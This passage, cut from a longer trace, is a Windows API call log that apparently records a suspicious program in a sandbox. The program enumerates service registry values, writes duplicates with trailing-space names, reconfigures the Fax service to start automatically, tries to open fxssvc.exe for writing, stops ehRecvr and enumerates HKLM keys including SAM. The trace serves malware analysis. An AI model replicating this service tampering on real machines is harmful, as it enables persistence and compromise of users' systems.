lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.746] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.747] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.747] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0247.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0247.747] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0247.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0247.747] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.747] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.747] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.747] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.748] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.749] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0247.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0247.749] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0247.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0247.749] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.749] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.749] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.749] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.749] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.749] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.749] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.749] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.749] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.750] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.750] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.750] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.750] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.750] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.750] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.750] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.750] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0247.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0247.750] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0247.750] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.751] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.752] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.752] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.752] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.752] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\fxssvc.exe", cbData=0x1f | out: lpData="C:\\Windows\\system32\\fxssvc.exe") returned 0x0 [0247.752] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\fxssvc.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\fxssvc.exe" [0247.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0247.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0247.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0247.752] LocalFree (hMem=0x7e4b18) returned 0x0 [0247.752] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\fxssvc.exe", cbData=0x1f | out: lpData="C:\\Windows\\system32\\fxssvc.exe") returned 0x0 [0247.752] OpenServiceW (hSCManager=0x803918, lpServiceName="Fax", dwDesiredAccess=0x2) returned 0x8038a0 [0247.753] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0247.768] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.768] RegCloseKey (hKey=0x154) returned 0x0 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0247.768] RegCloseKey (hKey=0xc4) returned 0x0 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0247.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0247.768] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\fxssvc.exe" (normalized: "c:\\windows\\system32\\fxssvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0247.769] CreateFileW (lpFileName="C:\\Windows\\system32\\fxssvc.exe" (normalized: "c:\\windows\\system32\\fxssvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0247.769] GetLastError () returned 0x20 [0247.769] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0247.770] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0247.770] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0247.770] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x20) returned 0x803990 [0247.770] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0247.770] GetLastError () returned 0x425 [0247.770] CloseServiceHandle (hSCObject=0x803990) returned 1 [0247.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0247.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0247.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0247.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0247.771] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.771] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0247.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.771] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0247.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.772] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0247.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.772] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: 